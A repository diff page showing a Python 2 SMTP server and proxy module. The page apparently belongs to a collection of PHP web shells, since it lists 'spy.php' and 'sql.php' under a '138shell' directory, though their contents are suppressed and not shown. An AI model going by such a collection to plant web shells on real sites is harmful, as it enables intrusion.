|
||||
def smtp_NOOP(self, arg):
|
||||
if arg:
|
||||
self.push('501 Syntax: NOOP')
|
||||
else:
|
||||
self.push('250 Ok')
|
||||
|
||||
def smtp_QUIT(self, arg):
|
||||
# args is ignored
|
||||
self.push('221 Bye')
|
||||
self.close_when_done()
|
||||
|
||||
# factored
|
||||
def __getaddr(self, keyword, arg):
|
||||
address = None
|
||||
keylen = len(keyword)
|
||||
if arg[:keylen].upper() == keyword:
|
||||
address = arg[keylen:].strip()
|
||||
if not address:
|
||||
pass
|
||||
elif address[0] == '<' and address[-1] == '>' and address != '<>':
|
||||
# Addresses can be in the form <person@dom.com> but watch out
|
||||
# for null address, e.g. <>
|
||||
address = address[1:-1]
|
||||
return address
|
||||
|
||||
def smtp_MAIL(self, arg):
|
||||
print >> DEBUGSTREAM, '===> MAIL', arg
|
||||
address = self.__getaddr('FROM:', arg)
|
||||
if not address:
|
||||
self.push('501 Syntax: MAIL FROM:<address>')
|
||||
return
|
||||
if self.__mailfrom:
|
||||
self.push('503 Error: nested MAIL command')
|
||||
return
|
||||
self.__mailfrom = address
|
||||
print >> DEBUGSTREAM, 'sender:', self.__mailfrom
|
||||
self.push('250 Ok')
|
||||
|
||||
def smtp_RCPT(self, arg):
|
||||
print >> DEBUGSTREAM, '===> RCPT', arg
|
||||
if not self.__mailfrom:
|
||||
self.push('503 Error: need MAIL command')
|
||||
return
|
||||
address = self.__getaddr('TO:', arg)
|
||||
if not address:
|
||||
self.push('501 Syntax: RCPT TO: <address>')
|
||||
return
|
||||
self.__rcpttos.append(address)
|
||||
print >> DEBUGSTREAM, 'recips:', self.__rcpttos
|
||||
self.push('250 Ok')
|
||||
|
||||
def smtp_RSET(self, arg):
|
||||
if arg:
|
||||
self.push('501 Syntax: RSET')
|
||||
return
|
||||
# Resets the sender, recipients, and data, but not the greeting
|
||||
self.__mailfrom = None
|
||||
self.__rcpttos = []
|
||||
self.__data = ''
|
||||
self.__state = self.COMMAND
|
||||
self.push('250 Ok')
|
||||
|
||||
def smtp_DATA(self, arg):
|
||||
if not self.__rcpttos:
|
||||
self.push('503 Error: need RCPT command')
|
||||
return
|
||||
if arg:
|
||||
self.push('501 Syntax: DATA')
|
||||
return
|
||||
self.__state = self.DATA
|
||||
self.set_terminator('\r\n.\r\n')
|
||||
self.push('354 End data with <CR><LF>.<CR><LF>')
|
||||
|
||||
|
||||
|
||||
class SMTPServer(asyncore.dispatcher):
|
||||
def __init__(self, localaddr, remoteaddr):
|
||||
self._localaddr = localaddr
|
||||
self._remoteaddr = remoteaddr
|
||||
asyncore.dispatcher.__init__(self)
|
||||
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
# try to re-use a server port if possible
|
||||
self.set_reuse_addr()
|
||||
self.bind(localaddr)
|
||||
self.listen(5)
|
||||
print >> DEBUGSTREAM, \
|
||||
'%s started at %s\n\tLocal addr: %s\n\tRemote addr:%s' % (
|
||||
self.__class__.__name__, time.ctime(time.time()),
|
||||
localaddr, remoteaddr)
|
||||
|
||||
def handle_accept(self):
|
||||
conn, addr = self.accept()
|
||||
print >> DEBUGSTREAM, 'Incoming connection from %s' % repr(addr)
|
||||
channel = SMTPChannel(self, conn, addr)
|
||||
|
||||
# API for "doing something useful with the message"
|
||||
def process_message(self, peer, mailfrom, rcpttos, data):
|
||||
"""Override this abstract method to handle messages from the client.
|
||||
|
||||
peer is a tuple containing (ipaddr, port) of the client that made the
|
||||
socket connection to our smtp port.
|
||||
|
||||
mailfrom is the raw address the client claims the message is coming
|
||||
from.
|
||||
|
||||
rcpttos is a list of raw addresses the client wishes to deliver the
|
||||
message to.
|
||||
|
||||
data is a string containing the entire full text of the message,
|
||||
headers (if supplied) and all. It has been `de-transparencied'
|
||||
according to RFC 821, Section 4.5.2. In other words, a line
|
||||
containing a `.' followed by other text has had the leading dot
|
||||
removed.
|
||||
|
||||
This function should return None, for a normal `250 Ok' response;
|
||||
otherwise it returns the desired response string in RFC 821 format.
|
||||
|
||||
"""
|
||||
raise NotImplementedError
|
||||
|
||||
|
||||
|
||||
class DebuggingServer(SMTPServer):
|
||||
# Do something with the gathered message
|
||||
def process_message(self, peer, mailfrom, rcpttos, data):
|
||||
inheaders = 1
|
||||
lines = data.split('\n')
|
||||
print '---------- MESSAGE FOLLOWS ----------'
|
||||
for line in lines:
|
||||
# headers first
|
||||
if inheaders and not line:
|
||||
print 'X-Peer:', peer[0]
|
||||
inheaders = 0
|
||||
print line
|
||||
print '------------ END MESSAGE ------------'
|
||||
|
||||
|
||||
|
||||
class PureProxy(SMTPServer):
|
||||
def process_message(self, peer, mailfrom, rcpttos, data):
|
||||
lines = data.split('\n')
|
||||
# Look for the last header
|
||||
i = 0
|
||||
for line in lines:
|
||||
if not line:
|
||||
break
|
||||
i += 1
|
||||
lines.insert(i, 'X-Peer: %s' % peer[0])
|
||||
data = NEWLINE.join(lines)
|
||||
refused = self._deliver(mailfrom, rcpttos, data)
|
||||
# TBD: what to do with refused addresses?
|
||||
print >> DEBUGSTREAM, 'we got some refusals:', refused
|
||||
|
||||
def _deliver(self, mailfrom, rcpttos, data):
|
||||
import smtplib
|
||||
refused = {}
|
||||
try:
|
||||
s = smtplib.SMTP()
|
||||
s.connect(self._remoteaddr[0], self._remoteaddr[1])
|
||||
try:
|
||||
refused = s.sendmail(mailfrom, rcpttos, data)
|
||||
finally:
|
||||
s.quit()
|
||||
except smtplib.SMTPRecipientsRefused, e:
|
||||
print >> DEBUGSTREAM, 'got SMTPRecipientsRefused'
|
||||
refused = e.recipients
|
||||
except (socket.error, smtplib.SMTPException), e:
|
||||
print >> DEBUGSTREAM, 'got', e.__class__
|
||||
# All recipients were refused. If the exception had an associated
|
||||
# error code, use it. Otherwise,fake it with a non-triggering
|
||||
# exception code.
|
||||
errcode = getattr(e, 'smtp_code', -1)
|
||||
errmsg = getattr(e, 'smtp_error', 'ignore')
|
||||
for r in rcpttos:
|
||||
refused[r] = (errcode, errmsg)
|
||||
return refused
|
||||
|
||||
|
||||
|
||||
class MailmanProxy(PureProxy):
|
||||
def process_message(self, peer, mailfrom, rcpttos, data):
|
||||
from cStringIO import StringIO
|
||||
from Mailman import Utils
|
||||
from Mailman import Message
|
||||
from Mailman import MailList
|
||||
# If the message is to a Mailman mailing list, then we'll invoke the
|
||||
# Mailman script directly, without going through the real smtpd.
|
||||
# Otherwise we'll forward it to the local proxy for disposition.
|
||||
listnames = []
|
||||
for rcpt in rcpttos:
|
||||
local = rcpt.lower().split('@')[0]
|
||||
# We allow the following variations on the theme
|
||||
# listname
|
||||
# listname-admin
|
||||
# listname-owner
|
||||
# listname-request
|
||||
# listname-join
|
||||
# listname-leave
|
||||
parts = local.split('-')
|
||||
if len(parts) > 2:
|
||||
continue
|
||||
listname = parts[0]
|
||||
if len(parts) == 2:
|
||||
command = parts[1]
|
||||
else:
|
||||
command = ''
|
||||
if not Utils.list_exists(listname) or command not in (
|
||||
'', 'admin', 'owner', 'request', 'join', 'leave'):
|
||||
continue
|
||||
listnames.append((rcpt, listname, command))
|
||||
# Remove all list recipients from rcpttos and forward what we're not
|
||||
# going to take care of ourselves. Linear removal should be fine
|
||||
# since we don't expect a large number of recipients.
|
||||
for rcpt, listname, command in listnames:
|
||||
rcpttos.remove(rcpt)
|
||||
# If there's any non-list destined recipients left,
|
||||
print >> DEBUGSTREAM, 'forwarding recips:', ' '.join(rcpttos)
|
||||
if rcpttos:
|
||||
refused = self._deliver(mailfrom, rcpttos, data)
|
||||
# TBD: what to do with refused addresses?
|
||||
print >> DEBUGSTREAM, 'we got refusals:', refused
|
||||
# Now deliver directly to the list commands
|
||||
mlists = {}
|
||||
s = StringIO(data)
|
||||
msg = Message.Message(s)
|
||||
# These headers are required for the proper execution of Mailman. All
|
||||
# MTAs in existance seem to add these if the original message doesn't
|
||||
# have them.
|
||||
if not msg.getheader('from'):
|
||||
msg['From'] = mailfrom
|
||||
if not msg.getheader('date'):
|
||||
msg['Date'] = time.ctime(time.time())
|
||||
for rcpt, listname, command in listnames:
|
||||
print >> DEBUGSTREAM, 'sending message to', rcpt
|
||||
mlist = mlists.get(listname)
|
||||
if not mlist:
|
||||
mlist = MailList.MailList(listname, lock=0)
|
||||
mlists[listname] = mlist
|
||||
# dispatch on the type of command
|
||||
if command == '':
|
||||
# post
|
||||
msg.Enqueue(mlist, tolist=1)
|
||||
elif command == 'admin':
|
||||
msg.Enqueue(mlist, toadmin=1)
|
||||
elif command == 'owner':
|
||||
msg.Enqueue(mlist, toowner=1)
|
||||
elif command == 'request':
|
||||
msg.Enqueue(mlist, torequest=1)
|
||||
elif command in ('join', 'leave'):
|
||||
# TBD: this is a hack!
|
||||
if command == 'join':
|
||||
msg['Subject'] = 'subscribe'
|
||||
else:
|
||||
msg['Subject'] = 'unsubscribe'
|
||||
msg.Enqueue(mlist, torequest=1)
|
||||
|
||||
|
||||
|
||||
class Options:
|
||||
setuid = 1
|
||||
classname = 'PureProxy'
|
||||
|
||||
|
||||
|
||||
def parseargs():
|
||||
global DEBUGSTREAM
|
||||
try:
|
||||
opts, args = getopt.getopt(
|
||||
sys.argv[1:], 'nVhc:d',
|
||||
['class=', 'nosetuid', 'version', 'help', 'debug'])
|
||||
except getopt.error, e:
|
||||
usage(1, e)
|
||||
|
||||
options = Options()
|
||||
for opt, arg in opts:
|
||||
if opt in ('-h', '--help'):
|
||||
usage(0)
|
||||
elif opt in ('-V', '--version'):
|
||||
print >> sys.stderr, __version__
|
||||
sys.exit(0)
|
||||
elif opt in ('-n', '--nosetuid'):
|
||||
options.setuid = 0
|
||||
elif opt in ('-c', '--class'):
|
||||
options.classname = arg
|
||||
elif opt in ('-d', '--debug'):
|
||||
DEBUGSTREAM = sys.stderr
|
||||
|
||||
# parse the rest of the arguments
|
||||
if len(args) < 1:
|
||||
localspec = 'localhost:8025'
|
||||
remotespec = 'localhost:25'
|
||||
elif len(args) < 2:
|
||||
localspec = args[0]
|
||||
remotespec = 'localhost:25'
|
||||
elif len(args) < 3:
|
||||
localspec = args[0]
|
||||
remotespec = args[1]
|
||||
else:
|
||||
usage(1, 'Invalid arguments: %s' % COMMASPACE.join(args))
|
||||
|
||||
# split into host/port pairs
|
||||
i = localspec.find(':')
|
||||
if i < 0:
|
||||
usage(1, 'Bad local spec: %s' % localspec)
|
||||
options.localhost = localspec[:i]
|
||||
try:
|
||||
options.localport = int(localspec[i+1:])
|
||||
except ValueError:
|
||||
usage(1, 'Bad local port: %s' % localspec)
|
||||
i = remotespec.find(':')
|
||||
if i < 0:
|
||||
usage(1, 'Bad remote spec: %s' % remotespec)
|
||||
options.remotehost = remotespec[:i]
|
||||
try:
|
||||
options.remoteport = int(remotespec[i+1:])
|
||||
except ValueError:
|
||||
usage(1, 'Bad remote port: %s' % remotespec)
|
||||
return options
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
options = parseargs()
|
||||
# Become nobody
|
||||
if options.setuid:
|
||||
try:
|
||||
import pwd
|
||||
except ImportError:
|
||||
print >> sys.stderr, \
|
||||
'Cannot import module "pwd"; try running with -n option.'
|
||||
sys.exit(1)
|
||||
nobody = pwd.getpwnam('nobody')[2]
|
||||
try:
|
||||
os.setuid(nobody)
|
||||
except OSError, e:
|
||||
if e.errno != errno.EPERM: raise
|
||||
print >> sys.stderr, \
|
||||
'Cannot setuid "nobody"; try running with -n option.'
|
||||
sys.exit(1)
|
||||
classname = options.classname
|
||||
if "." in classname:
|
||||
lastdot = classname.rfind(".")
|
||||
mod = __import__(classname[:lastdot], globals(), locals(), [""])
|
||||
classname = classname[lastdot+1:]
|
||||
else:
|
||||
import __main__ as mod
|
||||
class_ = getattr(mod, classname)
|
||||
proxy = class_((options.localhost, options.localport),
|
||||
(options.remotehost, options.remoteport))
|
||||
try:
|
||||
asyncore.loop()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
1889
138shell/S/spy.php.txt
Normal file
1889
138shell/S/spy.php.txt
Normal file
File diff suppressed because it is too large
Load Diff
1169
138shell/S/sql.php.txt
Normal file
1169
138shell/S/sql.php.txt
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user